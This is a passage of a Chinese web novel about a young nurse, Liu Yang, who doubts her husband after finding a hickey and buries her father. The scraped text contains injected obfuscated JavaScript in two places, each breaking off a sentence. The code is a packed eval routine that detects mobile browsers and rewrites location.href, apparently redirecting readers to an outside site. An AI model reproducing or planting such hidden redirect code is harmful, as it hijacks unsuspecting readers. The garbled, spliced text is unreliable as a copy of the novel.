送秦飞出门的路上,柳漾打开微信,叽叽喳喳对赵东南说又去找了楼上,还问他晚上过不过来,秦飞叹气走了,他没抓到赵东南出轨的实证,对柳漾说了又能如何? 楼上果然消停了,之后有天柳漾下班回来,在小区门口和刘爹爹不期而遇,他一拐一拐地走路,她笑眯眯和三条狗打招呼,刘爹爹气得干瞪眼。 柳漾炖了汤,想等赵东南下班美美地喝一顿,但他推说要陪客户,早不了,今天可能过不来。柳漾一算,好几天没见着她男人了,但第二天下午就得考试,她有点紧张,睡不着,索性回香榭水岸,天亮就走,不用和张玢打照面。 已是深夜,公婆都睡了,柳漾上楼,赵东南才刚回家,浴室里传来洗澡声。柳漾走进卧室,开灯开空调,嗅到一股酒气。赵东南出来一惊:“你怎么回来了?” 柳漾想帮赵东南吹头发,赵东南不让,折回浴室,柳漾跟进去闹他,他往边上躲,躲闪之间,被柳漾看到他脖子上的吻痕,很深的一枚。 柳漾连声追问,赵东南解释晚上吃完饭唱K,玩真心话大冒险,有个小女孩抽到“现场种草莓”,她喝多了,经不起别人起哄,给他留下这个印记。 柳漾生气到极点:“那为什么不找别人,现场没女人吗?” 赵东南无奈:“现在的小姑娘伢野惯了,就那一下,我没去找你,就是怕你当真。” 柳漾不依不饶:“重点是你有没有当真。” “就是个刚毕业的小姑娘伢,谁当真啊,她知道我结了婚。晚上她喝多了,听不进去话,明天上班我就跟她说到位。”赵东南手忙脚乱地哄着柳漾,他记得她的考试日期,提前订了热门餐厅,明天晚上就去吃。 订餐记录翻出来,此言不虚。柳漾狠狠揩泪,她过的是虚岁生日,满打满算还不到24周岁,不比实习生大多少,她说:“我要是读了本科,也才刚毕业。” “你也是小姑娘伢。”赵东南要亲她,被她躲开了,洗把脸再回卧室,赵东南睡着了,又或许是装睡。柳漾静下来,刚毕业的小女孩也是女人,哪怕真的是开玩笑,她敢亲吻男同事的脖子,说明这个男同事和她关系不一般。赵东南说的是真心话吗,她不确定,但这个吻痕无疑是她生命里的大冒险,她的未来也许止于吻痕,也许另有玄机。 考试为重,柳漾强迫自己睡着。考完试,赵东南带她去餐厅吃饭,主动说上午找小女孩谈过,他很珍惜他的家庭,希望不会再有此类引起误会的事情发生。小女孩瞪大眼:“赵哥你在说什么?” 柳漾问:“所以昨天我们吵架,但她什么都不记得了?” 赵东南手一摊:“现在的小姑娘伢爱玩。” 柳漾仍很生气:“我看赵哥也挺随便,要是我,宁可被人笑老实,也不玩这游戏。” 赵东南拿起酒:“媳妇教育的是,自罚一杯?” 餐厅的白葡萄酒很棒,招牌菜也美味,气氛稍微好起来,赵东南叫了代驾,送柳漾回娘家,但他亲上来的时候,柳漾再次躲开了,那个吻痕让她别扭。赵东南举手发誓:“真的没什么,人家家境特别好,看不上我。” 柳漾一听就炸了:“看得上你,你就从了?” 赵东南作势要掌嘴:“说多错多,我不是这个意思。” “以观后效。”柳漾吃颗安神药,睡下了。早上她避免跟张玢碰面,6点多就起床出门了,下午的考试发挥得一般,明天还得考一整天,天大的事都先扔在一边。 秦飞找阿豹和乔蓝夫妇聊过两次,决定把自己所见所闻对柳 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柳漾笑笑,手臂伸平,撑开,在狭小的田埂上走开去。她妈各方面都比冯鹃强,柳志华都能弃之不顾,更何况一个处处都优越的姑娘,有多少男人能顶得住?她脑中偶然闪过一念,那个在赵东南脖子上落下吻痕的小女孩,是什么样的?她晃晃脑袋,对着四起的寒风,长吁一口气。这几天,赵东南反复认错,对她体贴备至,但她心里始终很膈应,无论赵东南做什么,她都带着审视的心态接受,这让她持续烦躁。 秦飞站在原地未动,柳漾伸展双臂,维持着平衡,顺顺当当走过小路,然而男人在外越演越烈,这平衡必然要被打破。他有些疑心柳漾发觉了不对劲,这次见她,她情绪不太好。 陈玉兰也看出来了,柳家大伯留秦飞吃饭,等秦飞一走,陈玉兰就问:“你一直在家里住,东南有想法吧?” 柳漾说:“没想法,我们说好了,我住到我们买了自己的房子。年底就买,买个地段好点的干净点的二手房就行。” 陈玉兰很担心:“你婆婆是不是又挑拨你俩关系了?” 柳漾不以为然:“她又不是一天两天挑拨,我听不到就不存在。” 陈玉兰含蓄地提点柳漾不能一直和赵东南分居,夫妻感情是要维系的,柳漾自然听得懂:“他经常过去住。” 柳志华病入膏肓,说话开始吃力了,秦飞向他告别时,他打着手势让他快走,不要赶夜路。秦飞开进武汉市区还不到六点,但又堵上了。深秋黑得早,长江两岸的建筑物都亮起了明灯,他停车,伏在桥上看江水,第一次相信柳志华说的,黄鹤楼在长叹,叹息声似雷鸣。 柳志华样样都比秦刚好,冯鹃搭上柳志华,谁都能理解她。向雨恬找赵东南图什么,他长相是清俊,性情也温厚,但已婚男人还惦记干吗。秦飞不确定柳漾对赵东南的破事知道多少,向雨恬甜美娇憨,柳漾只算清秀伶俐,家境也比向家差远了,秦飞为她难过,她的男人可能顶不住。 柳漾在团风住到第三天上白班才走,早年编织中国结养出了陈玉兰的动手能力,客居在团风的日子,她掌握了羊毛毡玩具的技巧,柳漾回武汉上班,陈玉兰送出一个娃娃:“挂在你包上。” “你还蛮洋气的。”柳漾爱不释手,她妈居然连她喜欢梨花娃娃都知道,还做得惟妙惟肖。 女儿心情好了起来,陈玉兰笑得眉舒目展。柳漾结婚那天,夸过从北京来的那位伴娘拎包上的梨花娃娃好看,但正版几百上千,她舍不得买。 陈玉兰在宏达天下接孩子期间,看到别人家的羊毛毡玩具可爱,买来材料包自学,柳志华给她下载了学习视频,这个梨花娃娃是她第一个成品。 柳志华说话很艰难,笑道:“第一个就很俏皮了,等你妈妈练得好些,就做个招财猫子给你。” 柳漾晃着梨花娃娃,开心地走了:“练好点,开个网店。” 24. 第 24 章 武汉夏天出了名的炎热,但秋冬天湿冷,而且没有暖气,更让人受罪,每年一变天,流感就迅速蔓延。11月中旬,几场雨落下来,柳漾和同事们的苦日子来了,护士长调了班次,柳漾比以往更忙,跟赵东南不常见面,她心里怨气不减,有火就发,绝不忍,日子就这么不咸不淡往前混。 火锅店装修得七七八八,大老板程东升请高人算过,在众多备选店名里定了“有板眼火锅城”。有板眼在武汉话里是指有能耐,很厉害的意思,三老板肖晓钰带着服务员们在玻璃橱窗上贴着字样:火锅、家常小炒菜、肉丝炒面,砂锅粉丝煲,工人们在里屋搬桌子,冯鹃订的红灯笼到了,连忙去挂起来。 新店新气象,张灯结彩,红红火火,肖晓钰夸冯鹃想得周到,冯鹃搬出三脚梯,拿着红灯笼挂去招牌两侧。左边挂好,冯鹃跳下来看看,去挂右边,踩上梯子让服务员看高度,冷不防两眼一黑,从梯子上摔下去。 梯子不高,但偏偏不巧,冯鹃是头先着地,右脚还扎进了一根布满钉子的木条,肖晓钰连喊几声,她都没醒。 冯鹃摔到了头部,众人不敢随便移动,电话打去秦飞那里,秦飞遥控指挥:“找救护车,送去617医院挂急诊,我直接过去。” 医生为冯鹃做了处理,右脚的钉子被拔出,但颅内有出血,一直昏迷。综合病房住满了,楼道遍布加床,柳漾找科室主任徐怡翎帮忙,把冯鹃安排进一间特护病房,那里面住的老干部今天凌晨刚过世。 柳漾忙完赶去冯鹃病房,手机振动起来,陈玉兰报了丧:“下午五点七分,你爸走了。” 已是夜里,柳漾打去电话,陈玉兰手机占线,她可能正在通知其他亲属。柳漾靠着墙站了片刻,把眼泪逼回去,拧开病房的门,里头却没开灯,冯鹃仍未醒来,秦飞呆坐在她床前。 柳漾走过去,窗外路灯光照进来,她轻声说:“我问过我们主任了,她说再晚一点可能就醒了。” 秦飞不说话,柳漾递过手机,让他看到陈玉兰发来的那条信息,事情索性一起都来吧。秦飞眼中依稀有泪,脸侧向一旁,妈还没醒,爸死了,弟弟该怎么办?他低声说:“我妈倒下去差不多也是这个时间。” 他的声音在哭,柳漾眼睛一热,抱着他的头,按到胸前,轻抚着他的背。她在急诊ICU病房工作过半年多,常常这样安慰病人家属。 暗沉的光线里,两人相拥沉默,各哭各的。有泪落在头发上,秦飞平缓了许久,松开环抱柳漾的双手。柳漾说:“你去吃点东西,跟你弟弟也说一声吧,这里我看着。” 秦飞坐着没动,柳漾去给他买吃的,路上又收到一条信息:“我和你大伯商量了,大后天早上出殡。” ICU外,有两个家属带着棉被和充电宝等生活用品,席地而坐,守护里面的亲人,柳漾帮他们倒了热水,再去冯鹃病房,她刚醒。 秦飞告知了柳志华的死讯,冯鹃愣愣地望住一个地方,眼里毫无灵光神韵。柳漾让秦飞吃外卖,冯鹃回过劲:“我就说今天心跳得不正常,爬到梯子上,眼睛一花,人就倒了。” 电热壶里烧着水,柳漾泡茶,冯鹃吃着饭,拼命说话。柳志华的爸在睡梦里去世,村里人都说是有福德之人,她希望柳志华走的时候也不痛苦。 秦飞记得冯鹃当时还笑言,双方老人都送走,自己是四大皆空,不知多省心。他似有所悟,柳志华走了,他妈才是真正心里一空。以前问她为什么不放手,她总在找理由,振振有词,等柳漾出去后,他问:“你很喜欢老柳,是不是?” 冯鹃闷头吃饭,秦飞一直看她,她连眼圈都没红,瞪儿子一眼:“肉麻。”继而飞快问,“你跟杰杰说了吗?” “我说你在店里忙,半夜才回家,我在加班,让他自己先睡,可以睡到自然醒,再一起去团风。”秦飞担心柳俊杰忽闻他爸死讯会害怕,只对他说老柳想儿子了,柳俊杰乖乖睡了。 冯鹃拿起手机,找柳俊杰的班主任请假,秦飞瞥到柳漾竟在冯鹃最近联系人里,他刚扫上两眼,冯鹃挪开手机,不让他看,瞪起眼:“懂不懂什么叫隐私?” 秦飞不解:“你们怎么有联系?” “她是护士,又是老柳的姑娘,我问两句都问不得?”冯鹃要下地,秦飞放下筷子去扶她,她试了试右脚,还不能走路,一跛一跛去上厕所。 秦飞一瞥之下,来不及看到更多,但冯鹃和柳漾交流的不是柳志华,而是火锅店的进度,他等冯鹃睡下,去找柳漾,柳漾还在工作,也不给他好脸色:“我爸想问,怕我妈不高兴,让我问一下,不行啊?” 秦飞觉得有点不对劲,但这也说得通,他向病房走去,忍不住转头看柳漾,她在安慰小病人。病人如织,没人知道柳护士失去了爸爸,他忽然意识到,自己是被安慰的那个,却忘记安慰她。 秦飞在陪护床上睡下,大清早被护士查房惊醒,冯鹃又坐在病床上发呆,见他醒了,一通发号施令:“你去医院食堂给我买饭吃,买了就回去,带杰杰去团风,他有三天假。” 秦飞问:“你呢,我让大姨过来?” 秦飞的两个姨妈都当了祖辈,一个要照顾外孙,一个要照顾孙女,冯鹃认为劳师动众没必要,她只是右脚走路不方便,喊两个服务员左右一扶,往出租车一塞,她就回去了。这病房高级,中午之前她就退房,不然又得算一天费用。 冯鹃是前妻,不用掺和葬礼的事,但秦飞拿不住她的态度,直接问了,冯鹃挥挥手,云淡风轻:“我去个什么,我巴不得省钱省心!” “我送杰杰去团风,掏多少红包合适?”秦飞理不太顺这门道,虚心请教,冯鹃转给他两万块钱,“我准备好了,你代表我们一家。” “我有钱。”秦飞不收,母子俩僵持,冯鹃告诉他这笔钱绝不能省,“再怎么样,他是杰杰他爸。杰杰一直不晓得我跟他爸离了婚,老柳说了,家里人都会瞒着他,永远不说,也没必要说。这个钱你要当着杰杰的面给,听懂了吗?” 秦飞收了钱,昨晚他发过誓,只要冯鹃醒了,他以后都听她的。走出住院部,他特地绕去急诊,柳漾已经下班走了。 柳漾在一家面包房吃早餐,要了热牛奶和新鲜出炉的葡萄干餐包。这段时间,她看出柳志华大限将至,每次一下大夜班,她就去团风跟他待着。 柳志华行动不便,陈玉兰找村人借了轮椅,每天都把他推出去走一走,柳漾也在的话,就走得远些,去镇上看看。 连日来,柳漾熟知柳志华少年时走哪几条路去上学,在哪个池塘里,他钓过一桶鲫鱼,在哪片竹林里遇见一只灰色的兔子,又是在哪一年,第一次吃到传说中的面包,里面还夹着葡萄干。 柳志华说话费劲,这些事都是陈玉兰转述的,细节模糊的地方,他才进行更正。柳志华19岁去当兵,在那之前,他在交通部门的基层道班当临时工。镇上惟一的主干道是国道,当年还是沥青路,柳志华和同事们的主要工作任务是养护公路,保障畅通。 管养工作不轻松,填补坑洼的路面,修整路边杂草、清理水沟以及培育苗木,柳志华每天都过得很闷,疾驰而过的外地车构成了他一天之中最大的乐趣,全国省份的简写,诸如琼黔桂冀,他背得滚瓜烂熟。 有天一辆沪字牌的大卡车经过,司机下车撒尿,讨杯热茶喝,他有些咳嗽,柳志华塞给他几包胖大海,司机回赠他一只葡萄干面包。 柳志华只在杂志上看到外国人的早餐是吃果酱涂面包,他吃了面包,觉得比白糖粽子好吃一百倍。但果酱是柳俊杰出生后的事情,冯鹃奶水不足,他在超市给儿子买奶粉,看到前排小玻璃罐上果酱字样,才打捞出那段旧记忆。 匮乏的时代早已过去,柳志华对果酱的印象平平,但松软的面包仍是他心里第一等好食物。柳漾小时候,每到周末,柳志华就说给她加餐,给她买回面包和牛奶。 武汉早餐出了名的丰富,最负盛名的当属热干面,但柳漾自小被柳志华培养的味觉偏甜,到现在她吃早餐也是甜口,一碗豆腐脑加两勺白糖,一份豆沙馅的欢喜坨,或是油墩子配一碗米酒冲鸡蛋,武汉人称为蛋酒,再或者是一只苕面窝配一杯豆浆。 柳志华生命中最后的时光,每次柳漾去看他,都给他带各式面包,他进食困难,这种软烂食物,他一直吃到去世前夜。柳漾俯身去看她爸,他遗容平静,陈玉兰说昨天下午三点多,他吐了两次,还吃了一颗止疼药,说他想睡一会儿,话没说完就晕过去了。 陈玉兰胆战心惊地守着,不时去试试他的鼻息,下午四点多,她感觉柳志华的身体在发冷,五点零七分,他停止了呼吸。柳漾不动声色,冯鹃从梯子上摔下,正是下午四点多,她接到秦飞的求助电话。 陈玉兰和大伯为柳志华换上簇新的衣服,西装革履,脚上是柳漾找人定制的大码皮鞋。她结婚那天,伴娘们都夸柳志华帅,老帅哥去那边了,行头也得体体面面的,不能被笑话西裤配运动鞋。 陈玉兰和柳志华的哥姐商量办丧事的细节,走得近的亲朋都通知了,还有些远亲正在联系,殡葬队的人也都请到了。酒席的厨子是借轮椅那家的亲戚,他们是做惯白喜事酒席的熟手,人工费打了七折,再额外送条香烟就行。 柳漾对此都不懂,陈玉兰让她通知她这边的人就行,柳漾的好友不算多,最要好的便是结婚时那几位伴娘,在武汉的都答应过来,沈维发来红包:“回不了,节哀顺变。” 昨天接到消息,柳漾就通知赵东南了,今天上午赵东南请了假,和她一起回了团风。他祖辈都健在,没参加过近亲的葬礼,更别提主理了,请教他作为女婿该做什么,陈玉兰说:“漾漾她爸说了,只要漾漾不受婆家的气,他就放心了。” 陈玉兰难得说句重话,显然是察觉柳漾和赵东南的感情出了问题,尽管柳漾不承认,但独处时她流露的迷茫和失落情绪,让陈玉兰不安,她有责任点一点女婿。 赵东南一听就懂,恳切道:“妈,有些事我是做得不好,已经在改进了,等元月份发了年终奖,我就跟漾漾买房,好好过日子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587049|171426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳漾不吱声,专心地握住她爸的手。她爸没留下遗言,但对她的牵挂和担忧,她都懂。小时候,她就读的小学是水果湖二小,柳志华总牵着她送去学校。水果湖不产水果,据说是水口湖以讹传讹而成,但幼年的她总以为世上存在五彩缤纷水果满湖的景象,但愿天堂就是一片水果湖。 许多年了,难得再握一下爸爸的手,上一次还是在家里拍全家福,柳漾站在中间,拉着爸妈的手,她爸的手温暖枯瘦,有微微汗意,她笑着,却很想哭,睁大了眼睛,才没让眼泪掉下来。 照片是柳俊杰拍的,当时柳志华还遗憾,赵东南不在场,女婿是半个儿子,全家福理应有赵东南。 柳漾也那样想过,她转过头去看赵东南,他在向大伯询问注意事项,她心里百味杂陈,他和那个小女孩当真没什么吗?这些天,这个问题一直搁在她心头。 吻痕事件后,柳漾抗拒赵东南的求欢,一再争吵过,质问过,赵东南每次都态度端正,保证以后绝不再犯。但是需要妻子发火,他才意识到这是不能触犯的底线吗?那样深的吻痕,不是一扑一推之间就能留下的,他为什么不立刻推开? 柳漾说不出有多失望,但难道为这件事就离婚?多少夫妻都在忍受相处中的大小摩擦,忍不了的时候,也对朋友撂狠话说不过了,日子却还是一天天过下去了。 赵东南下午还有会议,吃了午饭就走,柳漾把他送到村口,缓缓走回来,陈玉兰问:“你跟他的感情出问题了?” 柳漾否认了:“我就是想到他妈可能要来,烦心,一眼都不想看到。” 丧事千头万绪等着陈玉兰,她无暇再问,但柳漾没什么好多说的。父母离婚,是到了无可回寰的地步:冯鹃怀孕了。赵东南和小女孩之间,只有个吻痕,没发生更多事吧?可是即便如此,她依然感到恶心。 秦飞把柳俊杰送来,昨晚,柳俊杰独自在家睡了一晚上,乖得让秦飞想哭,秦飞把车停在村口,走在山路上,才说出噩耗,柳俊杰大哭着跑进门,扑在他爸身前哭。 柳漾出于客套,问了一嘴,结果兄弟俩竟然真没吃饭。秦飞本想在路上买点吃的,柳俊杰直觉不妙,说他喉咙堵着,吃不下,饿着肚子来了。 柳漾给两人下了青菜挂面,煎了荷包蛋,柳俊杰仍说他吃不下,柳漾垮下脸:“必须吃,你晚上得守灵,要保证体力。” 柳俊杰吃着面,眼泪无声地掉进面碗里。秦飞送出三万块钱红包,冯鹃两万,他一万,陈玉兰不收,他坚持让她拿着:“办丧事花销大,老柳是杰杰的爸爸,我们开了火锅店,只拿得出这些,辛苦陈阿姨。” 柳俊杰红着眼睛说:“我老妈开店忙,还摔伤了脚,阿姨很辛苦。” 陈玉兰第一次摸了摸这孩子的头,以前每次留他在家里吃饭,都看在柳志华的份上,但孩子是好孩子,孩子没有错。 秦飞公司的新项目任务紧,走了。柳俊杰一步都不离开他爸,柳漾下午睡了一觉,晚上来换柳俊杰守灵,柳俊杰不干,还坚持要搞懂守灵的意思。 陈玉兰用柳俊杰能理解的语言告诉他,人做了新鬼,走黄泉路人生地不熟,心里慌,亲朋子女守着,为他壮胆也壮行。柳俊杰听哭了,撑到后半夜,他困得眼睛都睁不开,柳漾让他去睡,他不想离开他爸,柳漾拍拍自己的肩,柳俊杰迟疑,终因困意席卷,靠上她肩头。 柳漾平时见这孩子,长手长脚,已是小少年的模样,但此刻依靠着她,显得很弱小,脖子细得好像撑不住,偏偏热乎乎的,姐弟俩相互依偎,很快都睡着了。 次日清晨,柳家老亲戚陆续都来了,柳漾和柳俊杰分头补觉,吃完晚饭换陈玉兰去睡觉,姐弟俩继续守灵。傍晚赵东南也来了,夫妻俩守了一个通宵。 出殡当天清晨大降温,秦飞给柳俊杰带来羽绒背心,站在门口看着柳漾靠在赵东南怀里睡着,她不知梦见什么,扑簌簌地流着眼泪,他没惊动两人,去楼上房间找柳俊杰。 柳志华上午就要入土,柳家亲戚起得早,人声渐渐响起。柳漾醒了,惊觉自己哭出一脸泪水,她用手背揩了一把,不明白为什么会哭,梦里明明是一些凌乱的甜蜜往事,谈恋爱第一年,冬天来得很早,赵东南接她下班,等到她填写交班报告,他冲去医院大楼门口的小摊买糖炒栗子,热乎乎的纸袋往她手上递:“你快捧着。” 外头的雪落得厚,柳漾拂去他大衣上的雪花,剥开一颗板栗,喂给他吃,自己再吃一颗,然后一起去吃羊肉锅。此时再想起,她怅惘一笑。 大伯和抬棺的人进来,早上8点7分,柳志华入棺,这个时间是找人算过的,说是能福泽后代。 柳志华被众人抬起,柳漾看见他腰带上系了一串很小的中国结,必是陈玉兰亲手编织,她回头看陈玉兰,陈玉兰一言不发,目视柳志华被抬入棺材里。 这串中国结,是他们的信物吧,做个凭证,来生再见。柳漾心头涌起悔意和不安,她妈对她爸感情极深,她本该早点成全他们,可是事情不推到那一步,她就做不到那一步。 25. 第 25 章 朋友小五带着人来了,赵东南去村口相迎,外头冷,他不让柳漾跟去村口,柳漾没听,死的是她爸,这点礼数要有。 省道边停了两辆大巴,小五作为赵东南最好的朋友,帮他把走得近的同学和同事都带来了。今年冷得早,柳漾的手被赵东南揣进大衣口袋,还在发冷,好在赵东南让小五在路上买了暖手宝,塞给柳漾:“你快捧着。” 柳家大伯听人说起这阵仗,也跟着出村,把浩浩荡荡的人迎进来。其中一部分人是柳漾在婚礼上见过的,还有不少人是赵东南借调去的网建部新同事,她都不认识,赵东南小声说:“我打了招呼,你不喊他们,他们也不会见怪,都理解的。” 沿途都有村人夸老柳有福气,找了个好女婿,陈玉兰也露出笑容,女婿把排场搞得很大,柳志华走得有面子。上午快九点时,赵捷成和张玢也都来了,张玢在人前给亲家面子,被村人夸了几句公婆有气质,她很受用。 柳志华入土,柳俊杰一声一声喊着爸爸,柳漾的眼泪打着转转,弟弟再也没有爸爸了,她也没有了。 无论在世的际遇如何,人都希望能有尊严地离开,在医院,柳漾见了很多挣扎得狼狈的死亡时刻,按陈玉兰的描述,柳志华走得还算安详,这是惟一可幸的事。在柳俊杰的哭声中,柳漾泪流满面,赵东南一直拉着她的手,附耳说:“小蚊子,对着爸爸的在天之灵发誓,我以后再也不伤你的心。” 柳漾没有回答,以前跟沈维共事时,她看不惯某些病人或家属,抱怨过:“离婚会死吗,这样她都不离。” 沈维说:“我气得一盆滚水浇到男人脸上去的事,很多女人都能忍,眼泪一抹,又往一个被窝里钻。我还不能多说,一说她们就说,你还没结婚,你不懂。我看,可能婚姻就是让女人变宰相的途径吧,扩大心胸,提高涵养,哪有那么不好懂?” 柳漾听得大笑,那时她和赵东南还没领证,沈维笑她:“我听过一个理论,再恩爱的夫妻,也有一百次想杀死对方的冲动,你回头验证一下。” 结婚才半年,杀机四伏。在看到吻痕时,柳漾是真的想把这个人拎起来摔得粉碎,但正如同沈维的玩笑话那样,婚姻中人的情绪弹性很大,无数次想杀死对方,但也曾无数次享受到好处,诸如陪伴、温暖和踏实之类。 在亡父的坟前,柳漾想起沈维劝过她的话:“不想离就翻篇,宰相肚量大。”她轻轻说,“东哥,说话要算数啊。” “你再不消气,我真不晓得该怎么办了。”赵东南红着眼圈看她,握着她的手,揣进口袋。稍远处,秦飞冷眼看着两人,赵东南弄来吊唁的人里边,包括向雨恬。 这几天,秦飞和同事跟电信公司的人开会,发觉赵东南已在跟向雨恬保持距离,向雨恬对他笑,他错开了视线。 柳家是二层小楼,大伯等人在二楼平台和门前空地摆上了桌子,招待四面八方赶来送柳志华最后一程的亲朋。但今天是工作日,赵东南的同事们还得上班,没吃酒席就走了,向雨恬欲走还留,看了赵东南好几眼,赵东南回避她的目光,被秦飞尽收眼底。 趁柳漾跟老亲戚寒暄,秦飞把赵东南喊去一旁:“你跟那个姓向的,怎么回事?” 赵东南一惊:“你跟我媳妇说了什么?” 秦飞斜眼看他:“你敢做还怕人说?” 赵东南沉着脸说:“我的家务事,轮不到你搬弄是非。” 他不正面回击,可见心里有鬼,秦飞揪住他衣领:“我弟弟的姐夫,我过问不得?” 赵东南拿下他的手,狠狠甩脱:“你们不找我媳妇麻烦就行了!” “你敢对不起她,我找定你麻烦了!”秦飞回到座位陪柳俊杰,柳俊杰情绪低沉,他没讲大道理,只告诉弟弟,“你好好的,你爸才含笑九泉,懂不懂?” 赵捷成和张玢来去匆匆,赵东南履行女婿责任,把老亲戚们都送走,柳漾问:“秦飞跟你说什么了?” 赵东南吃不透两人之间是否亲厚,有选择地说了:“他说你没爸爸了,警告我不能辜负你,否则他就代表柳家的男人教训我。” 柳漾闻言去看秦飞,秦飞在哄劝柳俊杰,她笑了一下:“我弟弟打不赢你,他倒是仗义。” 赵东南见她笑了,放松了些,从她背包里掏出毛线帽子,给她戴好,把耳朵护住:“你先回屋里烤烤火,等车里温度升高了你再上车。” 婚姻的本质是基于感情,才忍耐一些,磨合一些,也得到一些吧。在这一刻,柳漾决意放下那些失望,去当个谈笑自若的宰相。回武汉的路上,路边有家快餐店,她心一动:“你请我吃个冰淇淋吧。” 陈玉兰怀上柳漾后,老没胃口,孕吐得厉害。那时洋快餐刚进军武汉不久,柳志华排着长队去买,冰淇淋好几块钱一个,他不舍得多买,两人分着吃。那是继葡萄干面包之后,再一次让他惊艳的食物。 柳志华总说洋快餐店的冰淇淋是最好吃的冰淇淋,搬回陈玉兰家住之后,他让陈玉兰买回几只冻在冰箱里,等柳俊杰来了就哄哄他,他病得重,那孩子每次来都很伤心。 柳俊杰不好意思独享,柳漾就和他一人吃一个。学生时代,每次柳志华来看女儿,都带女儿去吃洋快餐,柳漾不爱吃汉堡,只吃冰淇淋,柳志华笑道:“就知道你爱吃,你在你妈妈肚子里就吃过好几次。” 赵东南下车买冰淇淋,顺手买了糖炒栗子让柳漾捧着,柳漾心怀伤感,靠在车窗。三年前,大雪纷飞,她对沈维说,她确定自己找到了幸福。到了今天,她还想再信他一回。 按老一辈的说法,人的三魂七魄不是一次离开身体的,所以七七四十九天是个大日子,陈玉兰留守团风,陪足柳志华七七四十九天。柳漾对赵东南提出自己继续在娘家住,她虽然已经考完试,但完全不想再回香榭水岸,赵东南便陪她一起住,对张玢谎称柳漾丧父心情差,他得顺着她一点,张玢没好气:“好房子不住,跟她住破屋,别人家都是女的巴着男的,到你这里反过来。” 尽管告诫自己要放下,但柳漾仍很抗拒赵东南的亲密举动,每每不耐烦地打开他的手。沈维倒认为翻旧账才是正常情绪,说明赵东南做得不够好,才让她余怒未消,等到彻底消气,才算翻篇。 遍地看起来精明,但在感情里糊涂的女人,沈维没想到柳漾竟也会这样,若是自己,吻痕事件一发生,她就坚决分开了。但是人人都说,婚姻和谈恋爱不同,分开不容易,何况柳漾是真心喜欢赵东南,不然以她的脾气,她早跑了,沈维没法替她做决定,只是一想到这件事,她也烦得很。 赵东南看出向雨恬有点回避他。女同事点了下午茶,向雨恬送进燕麦牛奶,直着眼睛出去,赵东南在岳父葬礼上和他媳妇恩爱有加,她和所有同事都看到了。 就此心照不宣也好,但把话说开,更利于去除后患,赵东南喊住她。摊牌是尴尬的,但不能不说,他咳一声:“我和我媳妇感情很好,希望你也能找到属于你的幸福。” 向雨恬眼睛一眨,硕大的泪珠盈在睫毛上,似坠非坠,她含着泪说:“我也这样想。她还这么年轻,爸爸就没了,我觉得她很不容易,你以后要好好珍惜她。” 赵东南心里一沉,向雨恬咬住发圈,边走边拆辫子,借着动作掩住眼泪,快速地穿过格子间,进了卫生间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587050|171426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许久没出来。赵东南起身,望住窗外沉闷的天色,长长出口气。 晚上,柳漾炖了香辣羊肉,赵东南就着汤汁吃饭,柳漾放下碗,笑道:“先吃完不管,后吃完洗碗。”沈维说这句话也是她家的家规,不过她爸从没执行过,饭后一杯清茶,沙发上一靠,看起了新闻。 赵捷成也同样如此,所以张玢看到柳漾使唤赵东南,意见很大,经常喝令赵东南放下活计。柳漾撒撒娇,赵东南笑着把事做完,下次想偷懒,又被柳漾撒撒娇,一次次循循善诱,她终于把赵东南变成一个自动自觉洗碗和做清洁的人。 今天不开这句玩笑,赵东南也会主动去洗碗,灶台也擦得干干净净,这都是在日复一日训练中逼他养成的习惯。但直到柳漾搬回娘家住才意识到,她曾经屡次挑衅婆婆的权威而不自知。 曾经有次赵东南在洗碗,张玢进来让他别管,她意思是让柳漾洗,柳漾假装没听懂:“妈,你上了一天班,你也很累,就让他洗。”然后冲赵东南道,“你妈心疼你,你也心疼心疼她。” 张玢被噎着了,柳漾跟赵东南扯着闲篇,顺势发发牢骚,女人是家里的女主人,不是家奴,也在外工作赚钱,凭什么还默认回家做所有家务?这话是说给张玢听的,张玢不领情,脸色阴沉地走了。 不领情的女人很多,柳漾见多了女病人或家属诉苦,在单位忙,回家还得在灶台边忙,忙完了还得辅导孩子的功课,若不是她们口口声声“我老公”,真让人疑心这是一屋子寡妇。 刚上班那会儿,柳漾会插句嘴:“你喊他一起干活啊。” 女人们都笑她没结婚就不知道难处:“喊不动。” 喊不动就接着喊,喊到他动为止,死也喊不动,那你也不做。柳漾总这么建议,女人们却说:“多喊几句他就发脾气。” 柳漾说:“就他会发脾气啊,不做事还有理了?你也发脾气。” 女人们笑笑,视她为小女孩:“等你结婚就晓得了。” 当时,柳漾想,她不会跟使唤不动的男人结婚。谈恋爱的时候,她就培养赵东南干活,到现在卓有成效,赵东南把厨房弄得很整洁,地也拖了一遍,再洗完手进卧室,和她合作套被子。 柳志华头七那天,小两口买了东西回团风,柳漾感觉陈玉兰整个人都不对劲了。为柳志华操办葬礼那几天,陈玉兰尚且能强撑,这次见她,她呆怔了很多,话也少了。柳漾只要不和她说话,她就呆呆出神,随便望着一个地方,一望就是半天。 明年二月陈玉兰才进50岁,但她一下子就见老了。回武汉上班的路上,赵东南开车,柳漾不时发愣,她妈想复婚,一方面是跟冯鹃赌气,更大的原因是,她对柳志华仍难以忘情,她对女儿羞于启齿,女儿却在柳志华人生最后一段时光才看明白。 